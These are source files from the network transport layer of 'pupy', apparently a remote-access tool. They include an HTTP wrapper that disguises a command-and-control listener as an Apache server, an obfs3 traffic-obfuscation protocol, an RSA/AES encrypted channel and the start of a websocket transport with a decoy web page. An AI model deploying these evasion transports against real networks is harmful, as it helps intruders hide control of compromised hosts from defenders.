    "path": "pupy/network/lib/transports/httpwrap.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ['PupyHTTPWrapperServer']\n\nfrom io import open\nfrom os import path, stat\n\ntry:\n    from http_parser.parser import HttpParser\nexcept ImportError:\n    from http_parser.pyparser import HttpParser\n\nfrom pupy.network.lib.buffer import Buffer\nfrom pupy.network.lib import getLogger\n\nfrom ..base import BasePupyTransport, ReleaseChainedTransport\n\nlogger = getLogger('httpwrap')\n\n\nclass PupyHTTPWrapperServer(BasePupyTransport):\n    path = '/index.php?d='\n    allowed_methods = ('GET')\n    server = None\n    headers = {\n        'Content-Type': 'text/html; charset=utf-8',\n        'Server': 'Apache',\n        'Connection': 'close',\n    }\n\n    __slots__ = (\n        'parser', 'is_http',\n        'body', 'downstream_buffer',\n        'well_known', 'omit', 'probe_len'\n    )\n\n    def __init__(self, *args, **kwargs):\n        super(PupyHTTPWrapperServer, self).__init__(*args, **kwargs)\n\n        self.parser = HttpParser()\n        self.is_http = None\n        self.body = []\n        self.downstream_buffer = Buffer()\n\n        self.well_known = ('GET', 'POST', 'OPTIONS', 'HEAD', 'PUT', 'DELETE')\n        self.omit = tuple(\n            '{} {}'.format(x, y) for x in self.well_known for y in (\n                self.path, '/ws/', 'ws/'))\n        self.probe_len = max(len(x) for x in self.omit)\n\n    def _http_response(self, code, status, headers=None, datasize=None, content=None):\n        headers = {}\n        headers.update(self.headers)\n\n        if headers:\n            headers.update(headers)\n\n        if datasize:\n            headers.update({\n                'Content-Length': datasize,\n                'Content-Type': 'application/octet-stream',\n            })\n\n        data = '\\r\\n'.join([\n            'HTTP/1.1 {} {}'.format(code, status),\n            '\\r\\n'.join([\n                '{}: {}'.format(key, value) for key,value in headers.items()\n            ])\n        ]) + '\\r\\n\\r\\n'\n\n        self.downstream.write(data)\n\n    def _handle_file(self, filepath):\n        try:\n            with open(filepath, 'rb') as infile:\n                size = stat(filepath).st_size\n                self._http_response(200, 'OK', datasize=size)\n\n                while True:\n                    data = infile.read(65535)\n                    if data:\n                        self.downstream.write(data)\n                    else:\n                        break\n\n        except:\n            self._http_response(404, 'Not found', 'Not found')\n\n    def _handle_not_found(self):\n        self._http_response(404, 'Not found', 'Not found')\n\n    def _handle_http(self, data):\n        self.parser.execute(data, len(data))\n\n        if self.parser.is_headers_complete():\n            try:\n                if not self.parser.get_method() in self.allowed_methods:\n                    self._http_response(405, 'Method Not Allowed')\n\n                else:\n                    urlpath = self.parser.get_path()\n                    urlpath = [\n                        x.strip() for x in urlpath.split('/') if (\n                            x and not str(x) in ('.', '..')\n                        )\n                    ]\n\n                    root = self.server.config.get_folder('wwwroot')\n                    secret = self.server.config.getboolean('httpd', 'secret')\n                    log = self.server.config.getboolean('httpd', 'log')\n\n                    if secret:\n                        wwwsecret = self.server.config.get('randoms', 'wwwsecret', random=5)\n                        if not (urlpath and urlpath[0] == wwwsecret):\n                            self._handle_not_found()\n                            if log:\n                                self.server.info('{}: GET {} | SECRET = {}'.format(\n                                    '{}:{}'.format(*self.downstream.transport.peer[:2]), urlpath, wwwsecret),\n                                                 error=True)\n                            return\n\n                        urlpath = urlpath[1:]\n\n                    urlpath = path.sep.join([\n                        self.server.config.get('randoms', x, new=False) or x for x in urlpath\n                    ])\n\n                    if not urlpath:\n                        urlpath = 'index.html'\n\n                    filepath = path.join(root, urlpath)\n\n                    if path.exists(filepath):\n                        self._handle_file(filepath)\n                        if log:\n                            message = urlpath\n                            if filepath in self.server.served_content:\n                                message = message + ' <' + self.server.served_content[filepath] + '>'\n\n                            self.server.info('{}: GET /{}'.format(\n                                '{}:{}'.format(*self.downstream.transport.peer[:2]), message))\n\n                    else:\n                        self._handle_not_found()\n                        if log:\n                            self.server.info('{}: GET {}'.format(\n                                '{}:{}'.format(*self.downstream.transport.peer[:2]), urlpath),\n                                             error=True)\n            finally:\n                self.close()\n\n    def downstream_recv(self, data):\n        header = data.peek(self.probe_len)\n\n        if self.server and self.is_http is None:\n            try:\n                self.is_http = header.startswith(self.well_known) and \\\n                    not header.startswith(self.omit)\n\n            except UnicodeError:\n                self.is_http = False\n\n            if __debug__:\n                logger.debug('Http: %s', self.is_http)\n\n        if self.is_http:\n            self._handle_http(data.read())\n        else:\n            if __debug__:\n                logger.debug('Write to upstream: len=%d, handler=%s',\n                    len(data), self.upstream.on_write_f)\n\n            data.write_to(self.upstream)\n\n            if self.downstream_buffer:\n                if __debug__:\n                    logger.debug('Flush buffer to downstream: len=%d, handler=%s',\n                        len(self.downstream_buffer), self.downstream.on_write_f)\n\n                self.downstream_buffer.write_to(self.downstream)\n\n            if __debug__:\n                logger.debug('Release transport')\n\n            raise ReleaseChainedTransport()\n\n    def upstream_recv(self, data):\n        if __debug__:\n            logger.debug('Send intent: len=%d', len(data))\n\n        if self.is_http is None:\n            data.write_to(self.downstream_buffer)\n\n            if __debug__:\n                logger.debug('HTTP? Append to pending buffer: total len=%d',\n                    len(self.downstream_buffer))\n\n        elif not self.is_http:\n            if __debug__:\n                logger.debug('Non-HTTP: Direct pass (handler=%s)',\n                    self.downstream.on_write_f)\n\n            if self.downstream_buffer:\n                self.downstream_buffer.write_to(self.downstream)\n\n            data.write_to(self.downstream)\n        else:\n            if __debug__:\n                logger.debug('HTTP: Omit data')\n\n            pass\n"
  },
  {
    "path": "pupy/network/lib/transports/obfs3/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/network/lib/transports/obfs3/obfs3.py",
    "content": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nThe obfs3 module implements the obfs3 protocol.\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ('Obfs3Client', 'Obfs3Server')\n\nimport random\n\nfrom . import obfs3_dh\nfrom ...base import BaseTransport\nfrom ..cryptoutils import (\n    NewAESCipher, AES_MODE_CTR,\n    get_random, hmac_sha256_digest\n)\n\nfrom pupy.network.lib.buffer import Buffer\nfrom pupy.network.lib import getLogger\nlogger = getLogger('obfs3')\n\nMAX_PADDING = 8194\n\nPUBKEY_LEN = 192\nKEYLEN = 16  # is the length of the key used by E(K,s) -- that is, 16.\nHASHLEN = 32 # length of output of sha256\n\nST_WAIT_FOR_KEY = 0 # Waiting for public key from the other party\nST_WAIT_FOR_HANDSHAKE = 1 # Waiting for the DH handshake\nST_SEARCHING_MAGIC = 2 # Waiting for magic strings from the other party\nST_OPEN = 3 # Sending application data.\n\nclass Obfs3Transport(BaseTransport):\n    \"\"\"\n    Obfs3Transport implements the obfs3 protocol.\n    \"\"\"\n\n    __slots__ = (\n        'state',  'dh', 'shared_secret', 'scanned_padding',\n        'last_padding_chunk', 'other_magic_value',\n        'send_crypto', 'recv_crypto', 'queued_data',\n        'send_keytype', 'recv_keytype', 'send_magic_const',\n        'recv_magic_const', 'we_are_initiator'\n    )\n\n    def __init__(self, *args, **kwargs):\n        \"\"\"Initialize the obfs3 pluggable transport.\"\"\"\n        super(Obfs3Transport, self).__init__(*args, **kwargs)\n\n        # Our state.\n        self.state = ST_WAIT_FOR_KEY\n\n        # Uniform-DH object\n        self.dh = obfs3_dh.UniformDH()\n\n        # DH shared secret\n        self.shared_secret = None\n\n        # Bytes of padding scanned so far.\n        self.scanned_padding = 0\n        # Last padding bytes scanned.\n        self.last_padding_chunk = ''\n\n        # Magic value that the other party is going to send\n        # (initialized after deriving shared secret)\n        self.other_magic_value = None\n        # Crypto to encrypt outgoing data.\n        self.send_crypto = None\n        # Crypto to decrypt incoming data.\n        self.recv_crypto = None\n\n        # Buffer for the first data, Tor is trying to send but can't right now\n        # because we have to handle the DH handshake first.\n        self.queued_data = Buffer()\n\n        # Attributes below are filled by classes that inherit Obfs3Transport.\n        self.send_keytype = None\n        self.recv_keytype = None\n        self.send_magic_const = None\n        self.recv_magic_const = None\n        self.we_are_initiator = None\n\n    def circuitConnected(self):\n        \"\"\"\n        Do the obfs3 handshake:\n        PUBKEY | WR(PADLEN)\n        \"\"\"\n        padding_length = random.randint(0, MAX_PADDING/2)\n\n        public_key = self.dh.get_public()\n\n        handshake_message = public_key + get_random(padding_length)\n\n        if __debug__:\n            logger.debug(\n                \"obfs3 handshake: %s queued %d bytes (padding_length: %d) (public key: %s).\",\n                \"initiator\" if self.we_are_initiator else \"responder\",\n                len(handshake_message), padding_length, repr(public_key))\n\n        self.downstream.write(handshake_message)\n\n    def receivedUpstream(self, data):\n        \"\"\"\n        Got data from upstream. We need to obfuscated and proxy them downstream.\n        \"\"\"\n\n        if self.state != ST_OPEN:\n            if __debug__:\n                logger.debug(\n                    \"Got upstream data before doing handshake [STATE=%d]. Caching.\",\n                    self.state)\n\n            data.write_to(self.queued_data)\n            return\n\n        if __debug__:\n            logger.debug(\"obfs3 receivedUpstream: Transmitting %d bytes.\", len(data))\n\n        if self.queued_data:\n            if __debug__:\n                logger.debug(\"Flush %d bytes of queued data (???) \", len(self.queued_data))\n\n            self.queued_data.write_to(self.downstream, modificator=self.send_crypto.encrypt)\n\n        # Proxy encrypted message.\n        data.write_to(self.downstream, modificator=self.send_crypto.encrypt)\n\n    def receivedDownstream(self, data):\n        \"\"\"\n        Got data from downstream. We need to de-obfuscate them and\n        proxy them upstream.\n        \"\"\"\n\n        if self.state == ST_WAIT_FOR_KEY: # Looking for the other peer's pubkey\n            if __debug__:\n                logger.debug(\"Wait for key\")\n\n            self._read_handshake(data)\n\n        if self.state == ST_WAIT_FOR_HANDSHAKE: # Doing the exp mod\n            if __debug__:\n                logger.debug(\"Wait for handshake\")\n\n            return\n\n        if self.state == ST_SEARCHING_MAGIC: # Looking for the magic string\n            if __debug__:\n                logger.debug(\"Search magic\")\n\n            if self._scan_for_magic(data) and self.queued_data:\n                if __debug__:\n                    logger.debug('Flush queued data: %d', len(self.queued_data))\n\n                self.queued_data.write_to(self.downstream, modificator=self.send_crypto.encrypt)\n\n        if self.state == ST_OPEN: # Handshake is done. Just decrypt and read application data.\n            if __debug__:\n                logger.debug(\"obfs3 receivedDownstream: Processing %d bytes of application data.\" %\n                             (len(data)))\n\n            if not data:\n                return\n\n            data.write_to(self.upstream, modificator=self.recv_crypto.encrypt)\n\n    def _read_handshake(self, data):\n        \"\"\"\n        Read handshake message, parse the other peer's public key and\n        schedule the key exchange for execution outside of the event loop.\n        \"\"\"\n\n        if len(data) < PUBKEY_LEN:\n            if __debug__:\n                logger.debug(\"Read handshake - short read\")\n\n            return\n\n        # Get the public key from the handshake message, do the DH and\n        # get the shared secret.\n        other_pubkey = data.read(PUBKEY_LEN)\n\n        if __debug__:\n            logger.debug(\"Other pubkey: %s\", repr(other_pubkey))\n\n        self.state = ST_WAIT_FOR_HANDSHAKE\n\n        try:\n            kex = self.dh.get_secret(other_pubkey)\n            self._read_handshake_post_dh(kex, data)\n        except Exception as e:\n            if __debug__:\n                logger.exception('DH Exception: %s', e)\n\n            self._uniform_dh_errback(e, other_pubkey)\n\n    def _uniform_dh_errback(self, failure, other_pubkey):\n        \"\"\"\n        Worker routine that does the actual UniformDH key exchange.  We need to\n        call it from a defered so that it does not block the main event loop.\n        \"\"\"\n\n        #e = failure.trap(ValueError)\n        if __debug__:\n            logger.warning(\"obfs3: Corrupted public key '%s'\" % repr(other_pubkey))\n\n        raise EOFError('Corrupted public key ({})'.format(failure))\n\n    def _read_handshake_post_dh(self, shared_secret, data):\n        \"\"\"\n        Setup the crypto from the calculated shared secret, and complete the\n        obfs3 handshake.\n        \"\"\"\n\n        if __debug__:\n            logger.debug('DH Complete, secret: %s', repr(shared_secret))\n\n        self.shared_secret = shared_secret\n\n        # Set up our crypto.\n        self.send_crypto = self._derive_crypto(self.send_keytype)\n        self.recv_crypto = self._derive_crypto(self.recv_keytype)\n        self.other_magic_value = hmac_sha256_digest(\n            self.shared_secret, self.recv_magic_const)\n\n        # Send our magic value to the remote end\n        # Padding is prepended so that the server does not just send the 32-byte magic\n        # in a single TCP segment.\n        padding_length = random.randint(0, MAX_PADDING//2)\n        if __debug__:\n            logger.debug('Padding length: %d', padding_length)\n\n        magic = hmac_sha256_digest(self.shared_secret, self.send_magic_const)\n        message = get_random(padding_length) + magic\n\n        self.state = ST_SEARCHING_MAGIC\n        self.downstream.write(message)\n\n    def _scan_for_magic(self, data):\n        \"\"\"\n        Scan 'data' for the magic string. If found, drain it and all\n        the padding before it. Then open the connection.\n        \"\"\"\n\n        assert(self.other_magic_value)\n        chunk = data.peek(MAX_PADDING+HASHLEN)\n\n        index = chunk.find(self.other_magic_value)\n        if index < 0:\n            if __debug__:\n                logger.debug('Magic not found / chunk len: %d', len(chunk))\n\n            if (len(data) > MAX_PADDING+HASHLEN):\n                raise EOFError(\"obfs3: Too much padding (%d)!\" % len(data))\n\n            return False\n\n        if __debug__:\n            logger.debug('Magic (len=%d) found at: %d',\n                index, len(self.other_magic_value))\n\n        index += len(self.other_magic_value)\n        data.drain(index)\n\n        self.state = ST_OPEN\n        return True\n\n    def _derive_crypto(self, pad_string):\n        \"\"\"\n        Derive and return an obfs3 key using the pad string in 'pad_string'.\n        \"\"\"\n        secret = hmac_sha256_digest(self.shared_secret, pad_string)\n        return NewAESCipher(secret[:KEYLEN], secret[KEYLEN:], AES_MODE_CTR)\n\nclass Obfs3Client(Obfs3Transport):\n\n    \"\"\"\n    Obfs3Client is a client for the obfs3 protocol.\n    The client and server differ in terms of their padding strings.\n    \"\"\"\n\n    __slots__ = ()\n\n    def __init__(self, *args, **kwargs):\n        Obfs3Transport.__init__(self, *args, **kwargs)\n\n        self.send_keytype = b\"Initiator obfuscated data\"\n        self.recv_keytype = b\"Responder obfuscated data\"\n        self.send_magic_const = b\"Initiator magic\"\n        self.recv_magic_const = b\"Responder magic\"\n        self.we_are_initiator = True\n\nclass Obfs3Server(Obfs3Transport):\n\n    \"\"\"\n    Obfs3Server is a server for the obfs3 protocol.\n    The client and server differ in terms of their padding strings.\n    \"\"\"\n\n    __slots__ = ()\n\n    def __init__(self, *args, **kwargs):\n        Obfs3Transport.__init__(self, *args, **kwargs)\n\n        self.send_keytype = b\"Responder obfuscated data\"\n        self.recv_keytype = b\"Initiator obfuscated data\"\n        self.send_magic_const = b\"Responder magic\"\n        self.recv_magic_const = b\"Initiator magic\"\n        self.we_are_initiator = False\n"
  },
  {
    "path": "pupy/network/lib/transports/obfs3/obfs3_dh.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport binascii\n\n__all__ = ['UniformDH']\n\nfrom ..cryptoutils import get_random\nfrom ..obfscommon import modexp\n\ndef int_to_bytes(lvalue, width):\n    fmt = '%%.%dx' % (2*width)\n    return binascii.unhexlify(fmt % (lvalue & ((1<<8*width)-1)))\n\nclass UniformDH(object):\n    \"\"\"\n    This is a class that implements a DH handshake that uses public\n    keys that are indistinguishable from 192-byte random strings.\n\n    The idea (and even the implementation) was suggested by Ian\n    Goldberg in:\n    https://lists.torproject.org/pipermail/tor-dev/2012-December/004245.html\n    https://lists.torproject.org/pipermail/tor-dev/2012-December/004248.html\n\n    Attributes:\n    mod, the modulus of our DH group.\n    g, the generator of our DH group.\n    group_len, the size of the group in bytes.\n\n    priv_str, a byte string representing our DH private key.\n    priv, our DH private key as an integer.\n    pub_str, a byte string representing our DH public key.\n    pub, our DH public key as an integer.\n    shared_secret, our DH shared secret.\n    \"\"\"\n\n    # 1536-bit MODP Group from RFC3526\n    mod = int(\n        \"\"\"FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1\n           29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD\n           EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245\n           E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED\n           EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D\n           C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F\n           83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D\n           670C354E 4ABC9804 F1746C08 CA237327 FFFFFFFF FFFFFFFF\"\"\".replace(' ','').replace('\\n','').replace('\\t',''), 16)\n    g = 2\n    group_len = 192 # bytes (1536-bits)\n\n    __slots__ = ('priv_str', 'priv', 'pub', 'pub_str', 'shared_secret')\n\n    def __init__(self, private_key = None):\n        # Generate private key\n        if private_key is not None:\n            if len(private_key) != self.group_len:\n                raise ValueError(\"private_key is a invalid length (Expected %d, got %d)\" % (\n                    self.group_len, len(private_key)))\n            self.priv_str = private_key\n        else:\n            self.priv_str = get_random(self.group_len)\n        self.priv = int(binascii.hexlify(self.priv_str), 16)\n\n        # Make the private key even\n        flip = self.priv % 2\n        self.priv -= flip\n\n        # Generate public key\n        #\n        # Note: Always generate both valid public keys, and then pick to avoid\n        # leaking timing information about which key was chosen.\n        pub = modexp.powMod(self.g, self.priv, self.mod)\n        pub_p_sub_X = self.mod - pub\n        if flip == 1:\n            self.pub = pub_p_sub_X\n        else:\n            self.pub = pub\n        self.pub_str = int_to_bytes(self.pub, self.group_len)\n\n        self.shared_secret = None\n\n    def get_public(self):\n        return self.pub_str\n\n    def get_secret(self, their_pub_str):\n        \"\"\"\n        Given the public key of the other party as a string of bytes,\n        calculate our shared secret.\n\n        This might raise a ValueError since 'their_pub_str' is\n        attacker controlled.\n        \"\"\"\n        their_pub = int(binascii.hexlify(their_pub_str), 16)\n\n        self.shared_secret = modexp.powMod(their_pub, self.priv, self.mod)\n        return int_to_bytes(self.shared_secret, self.group_len)\n"
  },
  {
    "path": "pupy/network/lib/transports/obfscommon/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/network/lib/transports/obfscommon/modexp.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\ntry:\n    from gmpy2 import mpz as mpz\nexcept ImportError:\n    try:\n        from gmpy import mpz as mpz\n    except ImportError:\n        def mpz(x):\n            return x\n        pass\n\n__all__ = ['powMod']\n\ndef powMod(x, y, mod):\n    \"\"\"\n    (Efficiently) Calculate and return `x' to the power of `y' mod `mod'.\n\n    If possible, the three numbers are converted to GMPY's bignum\n    representation which speeds up exponentiation.  If GMPY is not installed,\n    built-in exponentiation is used.\n    \"\"\"\n\n    x = mpz(x)\n    y = mpz(y)\n    mod = mpz(mod)\n    return pow(x, y, mod)\n"
  },
  {
    "path": "pupy/network/lib/transports/obfscommon/serialize.py",
    "content": "\"\"\"Helper functions to go from integers to binary data and back.\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport struct\n\n__all__ = ['htonl', 'ntohl', 'htons', 'ntohs', 'asbyte', 'frombyte']\n\n\ndef htonl(n):\n    \"\"\"\n    Convert integer in 'n' from host-byte order to network-byte order.\n    \"\"\"\n\n    return struct.pack('!I', n)\n\ndef ntohl(bs):\n    \"\"\"\n    Convert integer in 'n' from pupy.network-byte order to host-byte order.\n    \"\"\"\n    return struct.unpack('!I', bs)[0]\n\n\ndef htons(n):\n    \"\"\"\n    Convert integer in 'n' from host-byte order to network-byte order.\n    \"\"\"\n    return struct.pack('!h', n)\n\n\ndef ntohs(bs):\n    \"\"\"\n    Convert integer in 'n' from pupy.network-byte order to host-byte order.\n    \"\"\"\n    return struct.unpack('!h', bs)[0]\n\n\ndef asbyte(ival):\n    return struct.pack('B', ival)\n\n\ndef frombyte(bval):\n    return struct.unpack('B', bval)[0]\n"
  },
  {
    "path": "pupy/network/lib/transports/rsa_aes.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ('RSA_AESClient', 'RSA_AESServer')\n\n\"\"\" This module contains an implementation of a simple xor transport for pupy. \"\"\"\n\nfrom ..base import BasePupyTransport, TransportError\n\nimport traceback\nimport struct\nimport rsa\n\nfrom io import open\n\nfrom .cryptoutils import get_random, NewAESCipher\n\nfrom pupy.network.lib.buffer import Buffer\nfrom pupy.network.lib import getLogger\n\nBLOCK_SIZE = 16\nCHUNK_SIZE = 4096\n\nlogger = getLogger('rsaaes')\n\nclass RSA_AESTransport(BasePupyTransport):\n    \"\"\"\n    Implements a transport that simply apply a RSA_AES to each byte\n    \"\"\"\n    password     = None\n    iterations   = 1000\n    rsa_key_size = 4096\n    aes_size     = 256\n\n    __slots__ = (\n        'key_size',\n        '_iv_enc', '_iv_dec',\n        'enc_cipher', 'dec_cipher',\n        'aes_key', 'size_to_read',\n        'first_block', 'buffer'\n    )\n\n    def __init__(self, *args, **kwargs):\n        super(RSA_AESTransport, self).__init__(*args, **kwargs)\n        if self.aes_size == 256:\n            self.key_size = 32\n        elif self.aes_size == 128:\n            self.key_size = 16\n        else:\n            raise TransportError(\"Only AES 256 and 128 are supported\")\n\n        self._iv_enc = get_random(BLOCK_SIZE)\n        self.enc_cipher = None\n        self.dec_cipher = None\n        self._iv_dec = None\n        self.aes_key = None\n        self.size_to_read = None\n        self.first_block = b\"\"\n        self.buffer = Buffer()\n\n    def upstream_recv(self, data):\n        try:\n            with data:\n                lctext = len(data)\n                ltotal = lctext + 4\n                lremainder = ltotal % BLOCK_SIZE\n                if lremainder:\n                    ltotal += BLOCK_SIZE - lremainder\n\n                data.insert(struct.pack('>I', lctext))\n                data.truncate(ltotal)\n\n                if __debug__:\n                    logger.debug('Send: cleartext len = %d padded+header = %d', lctext, len(data))\n\n                data.write_to(\n                    self.downstream,\n                    modificator=self.enc_cipher.encrypt,\n                    chunk_size=CHUNK_SIZE)\n\n        except Exception as e:\n            logger.debug(e)\n\n    def downstream_recv(self, data):\n        try:\n            if __debug__:\n                logger.debug('Recv data len=%d', len(data))\n\n            if not self._iv_dec:\n                if __debug__:\n                    logger.debug('Read IV')\n\n                if len(data) < BLOCK_SIZE:\n                    if __debug__:\n                        logger.debug('Read IV: Short read: %d < %d', len(data), BLOCK_SIZE)\n                    return\n\n                self._iv_dec = data.read(BLOCK_SIZE)\n                self.dec_cipher = NewAESCipher(self.aes_key, self._iv_dec)\n\n            while True:\n                if not self.size_to_read:\n                    if len(data) < BLOCK_SIZE:\n                        if __debug__:\n                            logger.debug('Read chunk header: Short read: %d < %d', len(data), BLOCK_SIZE)\n                        break\n\n                    self.first_block = self.dec_cipher.decrypt(data.read(BLOCK_SIZE))\n                    self.size_to_read = struct.unpack_from('>I', self.first_block)[0]\n\n                    if self.size_to_read == 0:\n                        raise ValueError('Zero sized chunk')\n\n                    if __debug__:\n                        logger.debug('Read chunk header: expect: %d', self.size_to_read)\n\n                if self.size_to_read <= len(self.first_block) - 4:\n                    if __debug__:\n                        logger.debug('Read chunk: consume small chunk')\n                    # the remaining data is padding, just drop it\n                    self.upstream.write(self.first_block[4:4+self.size_to_read])\n                    self.size_to_read = 0\n                    self.first_block = b''\n                    continue\n\n                if self.first_block:\n                    if __debug__:\n                        logger.debug('Read chunk: start: cleartext len = %d', self.size_to_read)\n\n                    self.upstream.write(self.first_block[4:], notify=False)\n                    self.size_to_read -= BLOCK_SIZE - 4\n                    self.first_block = b''\n\n                s = self.size_to_read\n\n                if s % BLOCK_SIZE:\n                    s += BLOCK_SIZE - (s % BLOCK_SIZE)\n\n                lb = len(data)\n                lb -= lb % BLOCK_SIZE\n\n                while s and lb:\n                    if __debug__:\n                        logger.debug('Read chunk: required: %d available: %d', s, lb)\n\n                    to_read = min(s, CHUNK_SIZE)\n                    to_read = min(lb, to_read)\n\n                    cleartext = self.dec_cipher.decrypt(data.read(to_read))\n                    s -= to_read\n                    lb -= to_read\n\n                    if to_read >= self.size_to_read:\n                        self.upstream.write(cleartext[:self.size_to_read])\n                        self.size_to_read = 0\n\n                        if __debug__:\n                            logger.debug('Read chunk: chunk finished')\n\n                    else:\n                        self.upstream.write(cleartext, notify=False)\n                        self.size_to_read -= to_read\n\n                if not lb:\n                    if __debug__:\n                        logger.debug('Read chunk: No more data')\n\n                    break\n\n        except:\n            logger.debug(traceback.format_exc())\n\n\nclass RSA_AESClient(RSA_AESTransport):\n    __slots__ = (\n        '_pubkey', '_pubkey_path'\n    )\n\n    pubkey = None\n    pubkey_path = None\n\n    def __init__(self, *args, **kwargs):\n        super(RSA_AESClient, self).__init__(*args, **kwargs)\n\n        self._pubkey = kwargs.get('pubkey', getattr(self, 'pubkey'))\n        self._pubkey_path = kwargs.get('pubkey_path', getattr(self, 'pubkey_path'))\n\n        if self._pubkey_path:\n            self._pubkey = open(self._pubkey_path).read()\n\n        if self._pubkey is None:\n            raise TransportError(\n                'A public key (pem format) needs to be supplied for RSA_AESClient'\n            )\n\n    def on_connect(self):\n        pk = rsa.PublicKey.load_pkcs1(self._pubkey)\n        self.aes_key = get_random(self.key_size)\n        self.enc_cipher = NewAESCipher(self.aes_key, self._iv_enc)\n\n        pkey = rsa.encrypt(self.aes_key, pk)\n        self.downstream.write(pkey, notify=False)\n        logger.debug('AES key crypted with RSA public key and sent to server (len=%d)', len(pkey))\n        self.downstream.write(self._iv_enc)\n        logger.debug('IV (len=%d) sent to Server', len(self._iv_enc))\n\n\nclass RSA_AESServer(RSA_AESTransport):\n    __slots__ = (\n        '_privkey', '_privkey_path',\n        'pk', 'post_handshake_callbacks'\n    )\n\n    privkey = None\n    privkey_path = None\n\n    def __init__(self, *args, **kwargs):\n        super(RSA_AESServer, self).__init__(*args, **kwargs)\n\n        self._privkey = kwargs.get(\n            'privkey', getattr(self, 'privkey')\n        )\n\n        self._privkey_path = kwargs.get(\n            'privkey_path', getattr(self, 'privkey_path')\n        )\n\n        if self._privkey_path:\n            self._privkey=open(self.privkey_path).read()\n\n        if self._privkey is None:\n            raise TransportError(\n                'A private key (pem format) needs to be supplied for RSA_AESServer'\n            )\n\n        self.pk = rsa.PrivateKey.load_pkcs1(self._privkey)\n        self.post_handshake_callbacks = []\n\n    def downstream_recv(self, data):\n        try:\n            if self.aes_key is None: #receive aes key\n                logger.debug('Read AES Key')\n\n                expected = self.rsa_key_size // 8\n                if len(data) < expected:\n                    logger.debug('Read AES Key: Short read: %d < %d', len(data), expected)\n                    return\n\n                cmsg = data.read(expected)\n\n                try:\n                    self.aes_key = rsa.decrypt(cmsg, self.pk)\n                except rsa.pkcs1.DecryptionError:\n                    logger.debug(\"decrypt failed\")\n                    self.close()\n                    return\n\n                self.enc_cipher = NewAESCipher(self.aes_key, self._iv_enc)\n                logger.debug('client AES key received && decrypted from RSA private key')\n\n                self.downstream.write(self._iv_enc) # send IV\n                logger.debug('IV (len=%d) sent to Client', len(self._iv_enc))\n\n                if self.buffer:\n                    logger.debug('Flush buffer to client')\n                    super(RSA_AESServer, self).upstream_recv(self.buffer)\n                    self.buffer = None\n\n            super(RSA_AESServer, self).downstream_recv(data)\n\n        except Exception as e:\n            logger.debug(e)\n\n    def upstream_recv(self, data):\n        if self.enc_cipher:\n            super(RSA_AESServer, self).upstream_recv(data)\n        else:\n            data.write_to(self.buffer)\n            logger.debug('Pending data: len=%d', len(self.buffer))\n"
  },
  {
    "path": "pupy/network/lib/transports/utils.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ['call_later']\n\nimport time\nimport threading\n\n\ndef delayer_func(delay, cb, args, kwargs):\n    time.sleep(delay)\n    cb(*args, **kwargs)\n\n\ndef call_later(delay, callable, *args, **kw):\n    t = threading.Thread(target=delayer_func, args=(delay, callable, args, kw))\n    t.daemon = True\n    t.start()\n"
  },
  {
    "path": "pupy/network/lib/transports/websocket.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\n\"\"\" This module contains an implementation of the 'websocket' transport for pupy.\n\n    Lots of the WebSocket protocol code came from https://github.com/Pithikos/python-websocket-server\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'InvalidHTTPReq', 'PupyWebSocketTransport',\n    'PupyWebSocketClient', 'PupyWebSocketServer'\n)\n\nimport base64\nimport struct\nimport random\nimport string\nimport re\nimport sys\n\nfrom hashlib import sha1\nfrom pupy.network.lib.buffer import Buffer\n\nfrom ..base import BasePupyTransport\n\nfrom pupy.network.lib import getLogger\nfrom pupy.network.lib.transports.cryptoutils import XOR\n\nlogger = getLogger('ws')\n\ndef dprint(*args):\n    if __debug__:\n        logger.debug(*args)\n\nerror_response_body = b'''<html><body><h1>It works!</h1>\n<p>This is the default web page for this server.</p>\n<p>The web server software is running but no content has been added, yet.</p>\n</body></html>'''\n\nerror_response = b'\\r\\n'.join((\n    b'HTTP/1.1 200 OK',\n    b'Server: Apache',\n    b'Content-Type: text/html; charset=utf-8',\n    b'Content-Length: %d' % len(error_response_body),\n    b'',\n    error_response_body\n))\n\nUPGRADE_101_SUCCESS = b'HTTP/1.1 101 '\nMASK_LEN = 4\n\nFIN                 = 0x80\nOPCODE              = 0x0f\nMASKED              = 0x80\nPAYLOAD_LEN         = 0x7f\nPAYLOAD_LEN_EXT16   = 0x7e\nPAYLOAD_LEN_EXT64   = 0x7f\nPAYLOAD_LEN_MAX     = 